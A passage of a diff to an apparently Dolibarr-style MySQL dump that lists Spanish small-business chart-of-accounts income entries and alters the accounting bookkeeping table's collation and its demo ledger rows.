11:17:49','PCG08-PYME','INCOME','708',4655,'Devoluciones de ventas y operacioes similares',NULL,0,NULL,NULL,1,0,NULL,NULL),(4668,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7080',4667,'Devoluciones de ventas de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4669,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7081',4667,'Devoluciones de ventas de productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4670,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7082',4667,'Devoluciones de ventas de productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4671,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7083',4667,'Devoluciones de ventas de subproductos y residuos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4672,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7084',4667,'Devoluciones de ventas de envases y embalajes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4673,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','71',4007,'Variación de existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4674,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','710',4673,'Variación de existencias de productos en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4675,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','711',4673,'Variación de existencias de productos semiterminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4676,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','712',4673,'Variación de existencias de productos terminados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4677,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','713',4673,'Variación de existencias de subproductos, residuos y materiales recuperados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4678,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','73',4007,'Trabajos realizados para la empresa',NULL,0,NULL,NULL,1,0,NULL,NULL),(4679,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','730',4678,'Trabajos realizados para el inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4680,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','731',4678,'Trabajos realizados para el inmovilizado tangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4681,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','732',4678,'Trabajos realizados en inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4682,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','733',4678,'Trabajos realizados para el inmovilizado material en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4683,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','74',4007,'Subvenciones, donaciones y legados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4684,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','740',4683,'Subvenciones, donaciones y legados a la explotación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4685,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','746',4683,'Subvenciones, donaciones y legados de capital transferidos al resultado del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4686,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','747',4683,'Otras subvenciones, donaciones y legados transferidos al resultado del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4687,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','75',4007,'Otros ingresos de gestión',NULL,0,NULL,NULL,1,0,NULL,NULL),(4688,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','751',4687,'Resultados de operaciones en común',NULL,0,NULL,NULL,1,0,NULL,NULL),(4689,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7510',4688,'Pérdida transferida gestor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4690,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7511',4688,'Beneficio atribuido participe o asociado no gestor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4691,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','752',4687,'Ingreso por arrendamiento',NULL,0,NULL,NULL,1,0,NULL,NULL),(4692,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','753',4687,'Ingresos de propiedad industrial cedida en explotación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4693,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','754',4687,'Ingresos por comisiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4694,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','755',4687,'Ingresos por servicios al personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4695,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','759',4687,'Ingresos por servicios diversos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4696,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76',4007,'Ingresos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4697,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','760',4696,'Ingresos de participaciones en instrumentos de patrimonio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4698,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7600',4697,'Ingresos de participaciones en instrumentos de patrimonio empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4699,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7601',4697,'Ingresos de participaciones en instrumentos de patrimonio empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4700,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7602',4697,'Ingresos de participaciones en instrumentos de patrimonio otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4701,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7603',4697,'Ingresos de participaciones en instrumentos de patrimonio otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4702,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','761',4696,'Ingresos de valores representativos de deuda',NULL,0,NULL,NULL,1,0,NULL,NULL),(4703,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7610',4702,'Ingresos de valores representativos de deuda empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4704,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7611',4702,'Ingresos de valores representativos de deuda empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4705,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7612',4702,'Ingresos de valores representativos de deuda otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4706,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7613',4702,'Ingresos de valores representativos de deuda otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4707,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','762',4696,'Ingresos de créditos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4708,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7620',4707,'Ingresos de créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4709,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76200',4708,'Ingresos de crédito a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4710,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76201',4708,'Ingresos de crédito a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4711,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76202',4708,'Ingresos de crédito a largo plazo otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4712,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76203',4708,'Ingresos de crédito a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4713,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7621',4707,'Ingresos de créditos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4714,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76210',4713,'Ingresos de crédito a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4715,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76211',4713,'Ingresos de crédito a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4716,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76212',4713,'Ingresos de crédito a corto plazo otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4717,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','76213',4713,'Ingresos de crédito a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4718,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','763',4696,'Beneficios por valorización de activos y pasivos financieros por su valor razonable',NULL,0,NULL,NULL,1,0,NULL,NULL),(4719,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','766',4696,'Beneficios en participaciones y valores representativos de deuda',NULL,0,NULL,NULL,1,0,NULL,NULL),(4720,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7660',4719,'Beneficios en participaciones y valores representativos de deuda a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4721,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7661',4719,'Beneficios en participaciones y valores representativos de deuda a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4722,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7662',4719,'Beneficios en participaciones y valores representativos de deuda a largo plazo otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4723,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7663',4719,'Beneficios en participaciones y valores representativos de deuda a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4724,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7665',4719,'Beneficios en participaciones y valores representativos de deuda a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4725,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7666',4719,'Beneficios en participaciones y valores representativos de deuda a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4726,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7667',4719,'Beneficios en participaciones y valores representativos de deuda a corto plazo otras partes asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4727,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7668',4719,'Beneficios en participaciones y valores representativos de deuda a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4728,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','768',4696,'Diferencias positivas de cambio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4729,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','769',4696,'Otros ingresos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4730,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','77',4007,'Beneficios procedentes de activos no corrientes e ingresos excepcionales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4731,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','770',4730,'Beneficios procedentes del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4732,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','771',4730,'Beneficios procedentes del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4733,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','772',4730,'Beneficios procedentes de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4734,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','773',4730,'Beneficios procedentes de participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4735,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7733',4734,'Beneficios procedentes de participaciones a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4736,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7734',4734,'Beneficios procedentes de participaciones a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4737,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7735',4734,'Beneficios procedentes de participaciones a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4738,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','775',4730,'Beneficios por operaciones con obligaciones propias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4739,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','778',4730,'Ingresos excepcionales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4741,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','79',4007,'Excesos y aplicaciones de provisiones y pérdidas por deterioro',NULL,0,NULL,NULL,1,0,NULL,NULL),(4742,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','790',4741,'Revisión del deterioro del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4743,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','791',4741,'Revisión del deterioro del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4744,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','792',4741,'Revisión del deterioro de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4745,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','793',4741,'Revisión del deterioro de las existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4746,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7930',4745,'Revisión del deterioro de productos terminados y en curso de fabricación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4747,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7931',4745,'Revisión del deterioro de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4748,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7932',4745,'Revisión del deterioro de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4749,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7933',4745,'Revisión del deterioro de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4750,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','794',4741,'Revisión del deterioro de créditos por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4751,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','795',4741,'Exceso de provisiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4752,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7951',4751,'Exceso de provisión para impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4753,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7952',4751,'Exceso de provisión para otras responsabilidades',NULL,0,NULL,NULL,1,0,NULL,NULL),(4755,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7954',4751,'Exceso de provisión para operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4756,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','79544',4755,'Exceso de provisión por contratos onerosos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4757,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','79549',4755,'Exceso de provisión para otras operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4758,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7955',4751,'Exceso de provisión para actuaciones medioambienteales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4759,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','796',4741,'Revisión del deterioro de participaciones y valores representativos de deuda a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4760,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7960',4759,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4761,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7961',4759,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4762,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7962',4759,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4763,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7963',4759,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4764,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7965',4759,'Revisión del deterioro de valores representativos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4765,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7966',4759,'Revisión del deterioro de valores representativos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4766,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7967',4759,'Revisión del deterioro de valores representativos a largo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4767,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7968',4759,'Revisión del deterioro de valores representativos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4768,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','797',4741,'Revisión del deterioro de créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4769,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7970',4768,'Revisión del deterioro de créditos a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4770,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7971',4768,'Revisión del deterioro de créditos a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4771,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7972',4768,'Revisión del deterioro de créditos a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4772,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7973',4768,'Revisión del deterioro de créditos a largo plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4773,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','798',4741,'Revisión del deterioro de participaciones y valores representativos de deuda a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4774,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7980',4773,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4775,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7981',4773,'Revisión del deterioro de participaciones en instrumentos de patrimonio neto a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4776,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7985',4773,'Revisión del deterioro de valores representativos de deuda a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4777,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7986',4773,'Revisión del deterioro de valores representativos de deuda a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4778,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7987',4773,'Revisión del deterioro de valores representativos de deuda a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4779,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7988',4773,'Revisión del deterioro de valores representativos de deuda a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4780,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','799',4741,'Revisión del deterioro de créditos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4781,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7990',4780,'Revisión del deterioro de créditos a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4782,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7991',4780,'Revisión del deterioro de créditos a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4783,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7992',4780,'Revisión del deterioro de créditos a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4784,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7993',4780,'Revisión del deterioro de créditos a corto plazo otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL); /*!40000 ALTER TABLE `llx_accounting_account` ENABLE KEYS */; UNLOCK TABLES; @@ -69,26 +69,26 @@ DROP TABLE IF EXISTS `llx_accounting_bookkeeping`; CREATE TABLE `llx_accounting_bookkeeping` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `doc_date` date NOT NULL, - `doc_type` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, - `doc_ref` varchar(300) COLLATE utf8mb3_unicode_ci NOT NULL, + `doc_type` varchar(30) NOT NULL, + `doc_ref` varchar(300) NOT NULL, `fk_doc` int(11) NOT NULL, `fk_docdet` int(11) NOT NULL, - `thirdparty_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `numero_compte` varchar(20) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label_compte` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label_operation` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `thirdparty_code` varchar(32) DEFAULT NULL, + `numero_compte` varchar(20) DEFAULT NULL, + `label_compte` varchar(255) DEFAULT NULL, + `label_operation` varchar(255) DEFAULT NULL, `debit` double(24,8) DEFAULT NULL, `credit` double(24,8) DEFAULT NULL, `montant` double(24,8) DEFAULT NULL, - `sens` varchar(1) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `sens` varchar(1) DEFAULT NULL, `multicurrency_amount` double(24,8) DEFAULT NULL, - `multicurrency_code` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lettering_code` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(255) DEFAULT NULL, + `lettering_code` varchar(255) DEFAULT NULL, `date_lettering` datetime DEFAULT NULL, `fk_user_author` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `code_journal` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `journal_label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `code_journal` varchar(32) DEFAULT NULL, + `journal_label` varchar(255) DEFAULT NULL, `piece_num` int(11) NOT NULL, `date_validated` datetime DEFAULT NULL, `date_export` datetime DEFAULT NULL, @@ -96,9 +96,9 @@ CREATE TABLE `llx_accounting_bookkeeping` ( `fk_user_modif` int(11) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `subledger_account` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `subledger_label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `subledger_account` varchar(32) DEFAULT NULL, + `subledger_label` varchar(255) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, `date_lim_reglement` datetime DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), @@ -108,7 +108,7 @@ CREATE TABLE `llx_accounting_bookkeeping` ( KEY `idx_accounting_bookkeeping_numero_compte` (`numero_compte`,`entity`), KEY `idx_accounting_bookkeeping_code_journal` (`code_journal`,`entity`), KEY `idx_accounting_bookkeeping_piece_num` (`piece_num`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=23 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=58 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -117,7 +117,7 @@ CREATE TABLE `llx_accounting_bookkeeping` ( LOCK TABLES `llx_accounting_bookkeeping` WRITE; /*!40000 ALTER TABLE `llx_accounting_bookkeeping` DISABLE KEYS */; -INSERT INTO `llx_accounting_bookkeeping` VALUES (2,'2017-02-19','','',0,0,NULL,'1','ttt',NULL,5.00000000,0.00000000,5.00000000,'D',NULL,NULL,NULL,NULL,12,NULL,'VTE',NULL,1,NULL,'2020-01-17 14:43:44',1,NULL,'2017-08-27 15:29:05','2020-01-17 13:43:44','1',NULL,NULL,NULL,NULL),(4,'2017-02-19','','',0,0,NULL,'10','',NULL,0.00000000,5.00000000,5.00000000,'C',NULL,NULL,NULL,NULL,12,NULL,'VTE',NULL,1,NULL,'2020-01-17 14:43:44',1,NULL,'2017-08-27 15:29:05','2020-01-17 13:43:44','10',NULL,NULL,NULL,NULL),(6,'2017-02-19','','',0,0,NULL,'NotDefined','',NULL,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL,12,NULL,'VTE',NULL,2,NULL,'2020-01-17 14:43:44',1,NULL,'2017-08-27 15:29:05','2020-01-17 13:43:44','NotDefined',NULL,NULL,NULL,NULL),(10,'2003-04-11','supplier_invoice','SI1601-0001',16,0,'SU1212-0005','401','Fournisseurs','Indian SAS - FR70813 - Subledger account',0.00000000,991.48000000,991.48000000,'C',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',4,NULL,'2020-01-17 14:43:44',1,NULL,'2019-10-04 10:18:07','2020-01-17 13:43:44','6050','Indian SAS',NULL,NULL,NULL),(11,'2003-04-11','supplier_invoice','SI1601-0001',16,0,'SU1212-0005','104','Primes liées au capital social','Indian SAS - FR70813 - Primes liées au capital social',415.00000000,0.00000000,415.00000000,'D',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',4,NULL,'2020-01-17 14:43:44',1,NULL,'2019-10-04 10:18:07','2020-01-17 13:43:44','','',NULL,NULL,NULL),(12,'2003-04-11','supplier_invoice','SI1601-0001',16,0,'SU1212-0005','101','Capital','Indian SAS - FR70813 - Capital',414.00000000,0.00000000,414.00000000,'D',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',4,NULL,'2020-01-17 14:43:44',1,NULL,'2019-10-04 10:18:07','2020-01-17 13:43:44','','',NULL,NULL,NULL),(13,'2003-04-11','supplier_invoice','SI1601-0001',16,0,'SU1212-0005','10','Capital','Indian SAS - FR70813 - Sales tax 19.6 %',162.48000000,0.00000000,162.48000000,'D',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',4,NULL,'2020-01-17 14:43:44',1,NULL,'2019-10-04 10:18:07','2020-01-17 13:43:44','','',NULL,NULL,NULL),(21,'2020-01-10','bank','BankId 49 - Miscellaneous payment 4',49,49,'','50','Valeurs mobilières de placement','Miscellaneous payment - Bank LUXBAC',0.00000000,10.01000000,10.01000000,'C',NULL,NULL,NULL,NULL,12,NULL,'BQ','Bank journal',5,NULL,'2020-01-17 14:43:44',1,NULL,'2020-01-10 05:18:05','2020-01-17 13:43:44','','',NULL,NULL,NULL),(22,'2020-01-10','bank','BankId 49 - Miscellaneous payment 4',49,49,'','105','Ecarts de réévaluation','Miscellaneous payment',10.01000000,0.00000000,10.01000000,'D',NULL,NULL,NULL,NULL,12,NULL,'BQ','Bank journal',5,NULL,'2020-01-17 14:43:44',1,NULL,'2020-01-10 05:18:05','2020-01-17 13:43:44','556','',NULL,NULL,NULL); +INSERT INTO `llx_accounting_bookkeeping` VALUES (6,'2017-02-19','','',0,0,NULL,'NotDefined','',NULL,0.00000000,0.00000000,0.00000000,NULL,NULL,NULL,NULL,NULL,12,NULL,'VTE',NULL,2,NULL,'2023-02-27 00:06:46',1,NULL,'2017-08-27 15:29:05','2023-02-27 03:06:46','NotDefined',NULL,NULL,NULL,NULL),(10,'2003-04-11','supplier_invoice','SI1601-0001',16,0,'SU1212-0005','401','Fournisseurs','Indian SAS - FR70813 - Subledger account',0.00000000,991.48000000,991.48000000,'C',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',4,NULL,'2023-02-27 00:06:46',1,NULL,'2019-10-04 10:18:07','2023-02-27 03:06:46','6050','Indian SAS',NULL,NULL,NULL),(11,'2003-04-11','supplier_invoice','SI1601-0001',16,0,'SU1212-0005','104','Primes liées au capital social','Indian SAS - FR70813 - Primes liées au capital social',415.00000000,0.00000000,415.00000000,'D',NULL,NULL,NULL,NULL,12,NULL,'AC','Purchase journal',4,NULL,'2023-02-27 